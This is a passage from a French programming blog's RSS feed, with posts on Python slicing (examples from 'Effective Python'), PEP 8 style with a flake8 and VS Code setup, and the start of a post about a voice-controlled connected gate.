            <pubDate>Sat, 04 Feb 2017 21:16:00 +0000</pubDate>
            
            <guid>https://leandeep.com/slicing-dans-tous-les-sens-en-python/</guid>
            <description>&lt;p&gt;Voici quelques exemples d&amp;rsquo;utilisation de &lt;em&gt;slicing&lt;/em&gt; en Python.
Cela fonctionne très bien sur les &lt;code&gt;list&lt;/code&gt;, &lt;code&gt;str&lt;/code&gt; et &lt;code&gt;bytes&lt;/code&gt;.
On peut ajouter du &lt;em&gt;slicing&lt;/em&gt; sur des classes qui implémentent &lt;code&gt;__getitem__&lt;/code&gt; et &lt;code&gt;__setitem__&lt;/code&gt; &lt;em&gt;magic methods&lt;/em&gt;.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;a = [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
print(&amp;#39;First four: &amp;#39;, a[:4])
print(&amp;#39;Last four:  &amp;#39;, a[-4:])
print(&amp;#39;Middle two: &amp;#39;, a[3:-3])
# First four:  [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;]
# Last four:   [&amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
# Middle two:  [&amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# When slicing from the start of a list, you should leave out the zero index
# to reduce visual noise.


assert a[:5] == a[0:5]


# When slicing to the end of a list, you should leave out the final index
# because it&amp;#39;s redundant.


assert a[5:] == a[5:len(a)]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Using negative numbers for slicing is helpful for doing offsets relative
# to the end of a list. All of these forms of slicing would be clear to a new
# reader of your code. There are no surprises, and I encourage you to use
# these variations.


print(a[:])
print(a[:5])
print(a[:-1])
print(a[4:])
print(a[-3:])
print(a[2:5])
print(a[2:-1])
print(a[-3:-1])
# [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
# [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;]
# [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;]
# [&amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
# [&amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
# [&amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;]
# [&amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;]
# [&amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Slicing deals properly with start and end indexes that are beyond the
# boundaries of the list. That makes it easy for your code to establish
# a maximum length to consider for an input sequence.


first_twenty_items = a[:20]
last_twenty_items = a[-20:]
print(first_twenty_items)
print(last_twenty_items)
# [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
# [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]

# In contrast, accessing the same index directly causes an exception.
# print(a[20])
# IndexError: list index out of range


# Note
# Beware that indexing a list by a negative variable is one of the few
# situations in which you can get surprising results from slicing. For
# example, the expression somelist[-n:] will work fine when n is greater
# than one (e.g. somelist[-3:]). However, when n is zero, the expression
# somelist[-0:] will result in a copy of the original list.
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# The result of slicing a list is a whole new list. References to the objects
# from the original list are maintained. Modifying the result of slicing won&amp;#39;t
# affect the original list.

b = a[4:]
print(&amp;#39;Before:    &amp;#39;, b)
b[1] = 99
print(&amp;#39;After:     &amp;#39;, b)
print(&amp;#39;No change: &amp;#39;, a)
# Before:     [&amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
# After:      [&amp;#39;e&amp;#39;, 99, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
# No change:  [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# When used in assignments, slices will replace the specified range in the
# original list. Unlike tuple assignments (like a, b = c[:2), the length of
# slice assignments don&amp;#39;t need to be the same. The values before and after
# the assigned slice will be preserved. The list will grow or shrink to
# accommodate the new values.

print(&amp;#39;Before: &amp;#39;, a)
a[2:7] = [99, 22, 14]
print(&amp;#39;After:  &amp;#39;, a)
# Before:  [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
# After:   [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, 99, 22, 14, &amp;#39;h&amp;#39;]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# If you leave out both the start and the end indexes when slicing, you&amp;#39;ll end
# up with a copy of the original list.

b = a[:]
assert b == a and b is not a
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# if you assign a slice with no start or end indexes, you&amp;#39;ll replace its
# entire contents with a copy of what&amp;#39;s referenced (instead of allocating a
# new list).


b = a
print(&amp;#39;Before: &amp;#39;, a)
a[:] = [101, 102, 103]
assert a is b
print(&amp;#39;After:  &amp;#39;, a)
# Before:  [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, 99, 22, 14, &amp;#39;h&amp;#39;]
# After:   [101, 102, 103]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# In addition to basic slicing (see Item 5: Knowing how to slice sequences),
# Python has special syntax for the stride of a slice in the form
# somelist[start:end:stride]. This lets you take every n-th item when slicing
# a sequence. For example, the stride makes it easy to group by even and odd
# indexes in a list.

a = [&amp;#39;red&amp;#39;, &amp;#39;orange&amp;#39;, &amp;#39;yellow&amp;#39;, &amp;#39;green&amp;#39;, &amp;#39;blue&amp;#39;, &amp;#39;purple&amp;#39;]
odds = a[::2]
evens = a[1::2]
print(odds)
print(evens)
# [&amp;#39;red&amp;#39;, &amp;#39;yellow&amp;#39;, &amp;#39;blue&amp;#39;]
# [&amp;#39;orange&amp;#39;, &amp;#39;green&amp;#39;, &amp;#39;purple&amp;#39;]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# The problem is that the stride syntax ofter cause unexpected behavior that
# can introduce bugs. For example, a common Python trick for reversing a byte
# string is to slice the string with a stride of -1.


x = b&amp;#39;mongoose&amp;#39;
y = x[::-1]
print(y)
# b&amp;#39;esoognom&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# That works well for byte strings and ASCII characters, but it will break for
# Unicode characters encoded as UTF-8 byte strings.


w = &amp;#39;谢谢谢谢&amp;#39;
# x = w.enocde(&amp;#39;utf-8&amp;#39;)
# y = x[::-1]
# z = y.decode(&amp;#39;utf-8&amp;#39;)
# print(y)
# print(z)
# AttributeError: &amp;#39;str&amp;#39; object has no attribute &amp;#39;enocde&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Are negative strides besides -1 useful? Consider the following examples.


a = [&amp;#39;a&amp;#39;, &amp;#39;b&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;g&amp;#39;, &amp;#39;h&amp;#39;]
print(a[::2])
print(a[::-2])
# [&amp;#39;a&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;g&amp;#39;]
# [&amp;#39;h&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;b&amp;#39;]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Here, ::2 means select every second item starting at the beginning.
# Trickier, ::-2 means select every second item starting at the end and moving
# backwards.


# What do you think 2::2 means? What about -2::-2 vs. -2:2:-2 vs. 2:2:-2?
print(a[2::2])
print(a[-2::-2])
print(a[-2:2:-2])
print(a[2:2:-2])
# [&amp;#39;c&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;g&amp;#39;]
# [&amp;#39;g&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;a&amp;#39;]
# [&amp;#39;g&amp;#39;, &amp;#39;e&amp;#39;]
# []


# The point is that the stride part of the slicing syntax can be extremely
# confusing. Having three numbers within the brackets is hard enough to read
# because of its density. Then it&amp;#39;s not obvious when the start and end indexes
# come into effect relative to the stride value, especially when stride is
# negative.


# To prevent problems, avoid using stride along with start and end indexes. If
# you must use a stride, prefer making it a positive value and omit start and
# end indexes. If you must use stride with start and end indexes, consider
# using one assignment to stride and another to slice.


b = a[::2]
c = b[1:-1]
print(b)
print(c)
# [&amp;#39;a&amp;#39;, &amp;#39;c&amp;#39;, &amp;#39;e&amp;#39;, &amp;#39;g&amp;#39;]
# [&amp;#39;c&amp;#39;, &amp;#39;e&amp;#39;]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Slicing and then striding will create an extra shallow copy of the data.
# The first operation should try to reduce the size of the resulting slice by
# as much as possible. If your program can&amp;#39;t afford the time or memory
# required for two steps, consider using the itertools built-in module&amp;#39;s
# islice method (see Item 46: Use built-in algorithms and data structures),
# which doesn&amp;#39;t permit negative values for start, end or stride.
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Things to remember

# 1. Avoid being verbose: Don&amp;#39;t supply 0 for the start index or the length of
#     the sequence for the end index.
# 2. Slicing is forgiving of start or end indexes that are out of bounds,
#     making it easy to express slices on the front or back boundaries of a
#     sequence (like a[:20] or a[-20:]).
# 3. Assigning to a list slice will replace that range in the original
#     sequence with what&amp;#39;s referenced even if their lengths are different.
# 4. Specifying start, end, and stride in a slice can be extremely confusing.
# 5. Prefer using positive stride values in slices without start or end
#     indexes. Avoid negative stride values if possible.
# 6. Avoid using start, end and stride together in a single slice. If you need
#     all three parameters, consider doing two assignments (one to slice,
#     another to stride) or using islice form itertools built-in module.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Source: Livre &amp;ldquo;Effective Python: 59 Specific Ways to Write Better Python&amp;rdquo; par Brett Slatkin. Je vous recommande grandement de l&amp;rsquo;acheter et de le lire.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici quelques exemples d&rsquo;utilisation de <em>slicing</em> en Python.
Cela fonctionne très bien sur les <code>list</code>, <code>str</code> et <code>bytes</code>.
On peut ajouter du <em>slicing</em> sur des classes qui implémentent <code>__getitem__</code> et <code>__setitem__</code> <em>magic methods</em>.</p>
<pre tabindex="0"><code>a = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
print(&#39;First four: &#39;, a[:4])
print(&#39;Last four:  &#39;, a[-4:])
print(&#39;Middle two: &#39;, a[3:-3])
# First four:  [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;]
# Last four:   [&#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
# Middle two:  [&#39;d&#39;, &#39;e&#39;]
</code></pre><pre tabindex="0"><code># When slicing from the start of a list, you should leave out the zero index
# to reduce visual noise.


assert a[:5] == a[0:5]


# When slicing to the end of a list, you should leave out the final index
# because it&#39;s redundant.


assert a[5:] == a[5:len(a)]
</code></pre><pre tabindex="0"><code># Using negative numbers for slicing is helpful for doing offsets relative
# to the end of a list. All of these forms of slicing would be clear to a new
# reader of your code. There are no surprises, and I encourage you to use
# these variations.


print(a[:])
print(a[:5])
print(a[:-1])
print(a[4:])
print(a[-3:])
print(a[2:5])
print(a[2:-1])
print(a[-3:-1])
# [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
# [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;]
# [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;]
# [&#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
# [&#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
# [&#39;c&#39;, &#39;d&#39;, &#39;e&#39;]
# [&#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;]
# [&#39;f&#39;, &#39;g&#39;]
</code></pre><pre tabindex="0"><code># Slicing deals properly with start and end indexes that are beyond the
# boundaries of the list. That makes it easy for your code to establish
# a maximum length to consider for an input sequence.


first_twenty_items = a[:20]
last_twenty_items = a[-20:]
print(first_twenty_items)
print(last_twenty_items)
# [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
# [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]

# In contrast, accessing the same index directly causes an exception.
# print(a[20])
# IndexError: list index out of range


# Note
# Beware that indexing a list by a negative variable is one of the few
# situations in which you can get surprising results from slicing. For
# example, the expression somelist[-n:] will work fine when n is greater
# than one (e.g. somelist[-3:]). However, when n is zero, the expression
# somelist[-0:] will result in a copy of the original list.
</code></pre><pre tabindex="0"><code># The result of slicing a list is a whole new list. References to the objects
# from the original list are maintained. Modifying the result of slicing won&#39;t
# affect the original list.

b = a[4:]
print(&#39;Before:    &#39;, b)
b[1] = 99
print(&#39;After:     &#39;, b)
print(&#39;No change: &#39;, a)
# Before:     [&#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
# After:      [&#39;e&#39;, 99, &#39;g&#39;, &#39;h&#39;]
# No change:  [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
</code></pre><pre tabindex="0"><code># When used in assignments, slices will replace the specified range in the
# original list. Unlike tuple assignments (like a, b = c[:2), the length of
# slice assignments don&#39;t need to be the same. The values before and after
# the assigned slice will be preserved. The list will grow or shrink to
# accommodate the new values.

print(&#39;Before: &#39;, a)
a[2:7] = [99, 22, 14]
print(&#39;After:  &#39;, a)
# Before:  [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
# After:   [&#39;a&#39;, &#39;b&#39;, 99, 22, 14, &#39;h&#39;]
</code></pre><pre tabindex="0"><code># If you leave out both the start and the end indexes when slicing, you&#39;ll end
# up with a copy of the original list.

b = a[:]
assert b == a and b is not a
</code></pre><pre tabindex="0"><code># if you assign a slice with no start or end indexes, you&#39;ll replace its
# entire contents with a copy of what&#39;s referenced (instead of allocating a
# new list).


b = a
print(&#39;Before: &#39;, a)
a[:] = [101, 102, 103]
assert a is b
print(&#39;After:  &#39;, a)
# Before:  [&#39;a&#39;, &#39;b&#39;, 99, 22, 14, &#39;h&#39;]
# After:   [101, 102, 103]
</code></pre><pre tabindex="0"><code># In addition to basic slicing (see Item 5: Knowing how to slice sequences),
# Python has special syntax for the stride of a slice in the form
# somelist[start:end:stride]. This lets you take every n-th item when slicing
# a sequence. For example, the stride makes it easy to group by even and odd
# indexes in a list.

a = [&#39;red&#39;, &#39;orange&#39;, &#39;yellow&#39;, &#39;green&#39;, &#39;blue&#39;, &#39;purple&#39;]
odds = a[::2]
evens = a[1::2]
print(odds)
print(evens)
# [&#39;red&#39;, &#39;yellow&#39;, &#39;blue&#39;]
# [&#39;orange&#39;, &#39;green&#39;, &#39;purple&#39;]
</code></pre><pre tabindex="0"><code># The problem is that the stride syntax ofter cause unexpected behavior that
# can introduce bugs. For example, a common Python trick for reversing a byte
# string is to slice the string with a stride of -1.


x = b&#39;mongoose&#39;
y = x[::-1]
print(y)
# b&#39;esoognom&#39;
</code></pre><pre tabindex="0"><code># That works well for byte strings and ASCII characters, but it will break for
# Unicode characters encoded as UTF-8 byte strings.


w = &#39;谢谢谢谢&#39;
# x = w.enocde(&#39;utf-8&#39;)
# y = x[::-1]
# z = y.decode(&#39;utf-8&#39;)
# print(y)
# print(z)
# AttributeError: &#39;str&#39; object has no attribute &#39;enocde&#39;
</code></pre><pre tabindex="0"><code># Are negative strides besides -1 useful? Consider the following examples.


a = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;]
print(a[::2])
print(a[::-2])
# [&#39;a&#39;, &#39;c&#39;, &#39;e&#39;, &#39;g&#39;]
# [&#39;h&#39;, &#39;f&#39;, &#39;d&#39;, &#39;b&#39;]
</code></pre><pre tabindex="0"><code># Here, ::2 means select every second item starting at the beginning.
# Trickier, ::-2 means select every second item starting at the end and moving
# backwards.


# What do you think 2::2 means? What about -2::-2 vs. -2:2:-2 vs. 2:2:-2?
print(a[2::2])
print(a[-2::-2])
print(a[-2:2:-2])
print(a[2:2:-2])
# [&#39;c&#39;, &#39;e&#39;, &#39;g&#39;]
# [&#39;g&#39;, &#39;e&#39;, &#39;c&#39;, &#39;a&#39;]
# [&#39;g&#39;, &#39;e&#39;]
# []


# The point is that the stride part of the slicing syntax can be extremely
# confusing. Having three numbers within the brackets is hard enough to read
# because of its density. Then it&#39;s not obvious when the start and end indexes
# come into effect relative to the stride value, especially when stride is
# negative.


# To prevent problems, avoid using stride along with start and end indexes. If
# you must use a stride, prefer making it a positive value and omit start and
# end indexes. If you must use stride with start and end indexes, consider
# using one assignment to stride and another to slice.


b = a[::2]
c = b[1:-1]
print(b)
print(c)
# [&#39;a&#39;, &#39;c&#39;, &#39;e&#39;, &#39;g&#39;]
# [&#39;c&#39;, &#39;e&#39;]
</code></pre><pre tabindex="0"><code># Slicing and then striding will create an extra shallow copy of the data.
# The first operation should try to reduce the size of the resulting slice by
# as much as possible. If your program can&#39;t afford the time or memory
# required for two steps, consider using the itertools built-in module&#39;s
# islice method (see Item 46: Use built-in algorithms and data structures),
# which doesn&#39;t permit negative values for start, end or stride.
</code></pre><pre tabindex="0"><code># Things to remember

# 1. Avoid being verbose: Don&#39;t supply 0 for the start index or the length of
#     the sequence for the end index.
# 2. Slicing is forgiving of start or end indexes that are out of bounds,
#     making it easy to express slices on the front or back boundaries of a
#     sequence (like a[:20] or a[-20:]).
# 3. Assigning to a list slice will replace that range in the original
#     sequence with what&#39;s referenced even if their lengths are different.
# 4. Specifying start, end, and stride in a slice can be extremely confusing.
# 5. Prefer using positive stride values in slices without start or end
#     indexes. Avoid negative stride values if possible.
# 6. Avoid using start, end and stride together in a single slice. If you need
#     all three parameters, consider doing two assignments (one to slice,
#     another to stride) or using islice form itertools built-in module.
</code></pre><p>Source: Livre &ldquo;Effective Python: 59 Specific Ways to Write Better Python&rdquo; par Brett Slatkin. Je vous recommande grandement de l&rsquo;acheter et de le lire.</p>
]]></content>
        </item>
        
        <item>
            <title>Style guide PEP8 en Python</title>
            <link>https://leandeep.com/style-guide-pep8-en-python/</link>
            <pubDate>Wed, 01 Feb 2017 21:54:00 +0000</pubDate>
            
            <guid>https://leandeep.com/style-guide-pep8-en-python/</guid>
            <description>&lt;p&gt;Je recommande de suivre le style guide PEP 8 pour coder en Python.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Whitespace: In Python, whitespace is syntactically significant. Python
# programmers are especially sensitive to the effects of whitespace on
# code clarity.

# 1. Use spaces instead of tabs for indentation.
# 2. Use four spaces for each level of syntactically significant indenting.
# 3. Lines should be 79 characters in length or less.
# 4. Continuations of long expressions onto additional lines should be
#     indented by four extra spaces from their normal indentation level.
# 5. In a file, functions and classes should be separated by two blank lines.
# 6. In a class, methods should be separated by one blank line.
# 7. Don&amp;#39;t put spaces around list indexes, function calls, or keyword
#     argument assignments.
# 8. Put one-and only one-space before and after variable assignments.
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Naming: PEP 8 suggests unique styles of naming for different part in the
# language.

# 1. Functions, variables, and attributs should be in lovercase_underscore
#     format.
# 2. Protected instance attributes should be in _leading_underscore format.
# 3. Private instance attributes should be in __double_leading_underscore
#     format.
# 4. Classes and exceptions should be in CapitalizedWord format.
# 5. Module-level constants should be in ALL_CAPS format.
# 6. Instance methods in classes should use self as the name of the first
#     parameter (which refers to the object).
# 7. Class methods should use cls as the name of the first parameter (which
# refers to the class).
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Expressions and Statements: The Zen of Python states: &amp;#34;There should be one-
# and preferably only one-obvious way to do it.&amp;#34;

# 1. Use inline negation (if a is not b) instead of negative of positive
#     expressions (if not a is b)
# 2. Don&amp;#39;t check for empty value (like [] or &amp;#39;&amp;#39;) by checking the length
#     (if len(somelist) == 0). Use if not somelist and assume empty values
#     implicitly evaluate to False.
# 3. The same thing goes for non-empty values (like [1] or &amp;#39;hi&amp;#39;). The statement
#     if somelist is implicitly True for non-empty values.
# 4. Avoid single-line if statements, for and while loops, and except compound
#     statements. Spread these over multiple lines for clarity.
# 5. Always put import statements as the top of a file.
# 6. Always use absolute names for modules when importing them, not names
#     relative to the current module&amp;#39;s own path. For example, to import the foo
#     module for the bar package, you should do from bar import foo, not just
#     import foo.
# 7. If you must do relative imports, use the explicit syntax from . import foo.
# 8. Imports should be in sections in the following order: standard library
#     modules, third-party modules, your own modules. Each subsection should
#     have imports in alphabetical order.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&amp;hellip; Ceci n&amp;rsquo;est qu&amp;rsquo;un aperçu.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Je recommande de suivre le style guide PEP 8 pour coder en Python.</p>
<pre tabindex="0"><code># Whitespace: In Python, whitespace is syntactically significant. Python
# programmers are especially sensitive to the effects of whitespace on
# code clarity.

# 1. Use spaces instead of tabs for indentation.
# 2. Use four spaces for each level of syntactically significant indenting.
# 3. Lines should be 79 characters in length or less.
# 4. Continuations of long expressions onto additional lines should be
#     indented by four extra spaces from their normal indentation level.
# 5. In a file, functions and classes should be separated by two blank lines.
# 6. In a class, methods should be separated by one blank line.
# 7. Don&#39;t put spaces around list indexes, function calls, or keyword
#     argument assignments.
# 8. Put one-and only one-space before and after variable assignments.
</code></pre><pre tabindex="0"><code># Naming: PEP 8 suggests unique styles of naming for different part in the
# language.

# 1. Functions, variables, and attributs should be in lovercase_underscore
#     format.
# 2. Protected instance attributes should be in _leading_underscore format.
# 3. Private instance attributes should be in __double_leading_underscore
#     format.
# 4. Classes and exceptions should be in CapitalizedWord format.
# 5. Module-level constants should be in ALL_CAPS format.
# 6. Instance methods in classes should use self as the name of the first
#     parameter (which refers to the object).
# 7. Class methods should use cls as the name of the first parameter (which
# refers to the class).
</code></pre><pre tabindex="0"><code># Expressions and Statements: The Zen of Python states: &#34;There should be one-
# and preferably only one-obvious way to do it.&#34;

# 1. Use inline negation (if a is not b) instead of negative of positive
#     expressions (if not a is b)
# 2. Don&#39;t check for empty value (like [] or &#39;&#39;) by checking the length
#     (if len(somelist) == 0). Use if not somelist and assume empty values
#     implicitly evaluate to False.
# 3. The same thing goes for non-empty values (like [1] or &#39;hi&#39;). The statement
#     if somelist is implicitly True for non-empty values.
# 4. Avoid single-line if statements, for and while loops, and except compound
#     statements. Spread these over multiple lines for clarity.
# 5. Always put import statements as the top of a file.
# 6. Always use absolute names for modules when importing them, not names
#     relative to the current module&#39;s own path. For example, to import the foo
#     module for the bar package, you should do from bar import foo, not just
#     import foo.
# 7. If you must do relative imports, use the explicit syntax from . import foo.
# 8. Imports should be in sections in the following order: standard library
#     modules, third-party modules, your own modules. Each subsection should
#     have imports in alphabetical order.
</code></pre><p>&hellip; Ceci n&rsquo;est qu&rsquo;un aperçu.</p>
<p>Avec de bons outils comme flake8, il est facile de linter son code pour faire en sorte qu&rsquo;il respecte certains style guides. Le slogan de Flake8 est parlant: &ldquo;Your Tool For Style Guide Enforcement&rdquo;.</p>
<blockquote>
<p>Attention à ceci:
&ldquo;It is very important to install Flake8 on the correct version of Python for your needs. If you want Flake8 to properly parse new language features in Python 3.5 (for example), you need it to be installed on 3.5 for Flake8 to understand those features. In many ways, Flake8 is tied to the version of Python on which it runs.&rdquo; Source <a href="http://flake8.pycqa.org">http://flake8.pycqa.org</a></p></blockquote>
<br/>
<p>Flake8 est un outil qui vérifie grâce à pyflakes la conformité du code Python avec pep8 et la <em>circular complexity</em>.</p>
<p>Pour utiliser flake8 avec VScode, il suffit de créer un fichier <code>.flake8</code> à la racine de votre projet et de coller le contenu suivant:</p>
<pre tabindex="0"><code>[flake8]
filename = *.py,*.pyx,*.pxd,*.pxi
ignore = E402,E731,D100,D101,D102,D103,D104,D105,W503,W504,E252
exclude = .git,__pycache__,build,dist,.eggs,postgres,vendor

per-file-ignores = *.pyx,*.pxd,*.pxi: E211, E222, E225, E226, E227, E999

max-line-length = 160
</code></pre><br/>
<p>Remarque, il est possible d&rsquo;ignorer certaines rêgles.</p>
<p>Il faut aussi créer un fichier <code>.vscode/settings.json</code> pour dire à VScode d&rsquo;utiliser flake8 comme linter.</p>
<p>Voici un exemple de fichier settings.</p>
<pre tabindex="0"><code>{
    &#34;python.pythonPath&#34;: &#34;.venv/bin/python3.5&#34;,
    &#34;python.linting.pylintEnabled&#34;: false,
    &#34;python.linting.flake8Enabled&#34;: true,
    &#34;python.linting.enabled&#34;: true
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>« Ok google… Ouvre le portail » !</title>
            <link>https://leandeep.com/ok-google-ouvre-le-portail/</link>
            <pubDate>Sun, 08 Jan 2017 20:28:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ok-google-ouvre-le-portail/</guid>
            <description>&lt;p&gt;Pour bien commencer l’année et ce blog avec ce premier article, voici comment j’ai transformé mon portail en un portail connecté.&lt;/p&gt;
&lt;p&gt;Lorsque je prononce les mots « Ok Google… Ouvre le portail » sur mon Smartphone, ce dernier déclenche une commande qui actionne le moteur du portail. Je peux ainsi en fonction des messages que j’ai programmé, ouvrir ou fermer le portail de n’importe où.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;description-du-fonctionnement&#34;&gt;Description du fonctionnement&lt;/h2&gt;
&lt;p&gt;Voici un schéma qui décrit globalement le fonctionnement du système.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/article-ok-google-portail.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour bien commencer l’année et ce blog avec ce premier article, voici comment j’ai transformé mon portail en un portail connecté.</p>
<p>Lorsque je prononce les mots « Ok Google… Ouvre le portail » sur mon Smartphone, ce dernier déclenche une commande qui actionne le moteur du portail. Je peux ainsi en fonction des messages que j’ai programmé, ouvrir ou fermer le portail de n’importe où.</p>
<br/>
<h2 id="description-du-fonctionnement">Description du fonctionnement</h2>
<p>Voici un schéma qui décrit globalement le fonctionnement du système.</p>
<p><img src="/images/article-ok-google-portail.png" alt="image"></p>
<br/>
<p>Comme l’indique le schéma ci-dessus, j’ai le choix entre 2 options pour actionner mon portail. Je peux le faire avec les commandes par défaut qui sont les télécommandes ou le visiophone. Et je peux le faire grâce à des commandes vocales.</p>
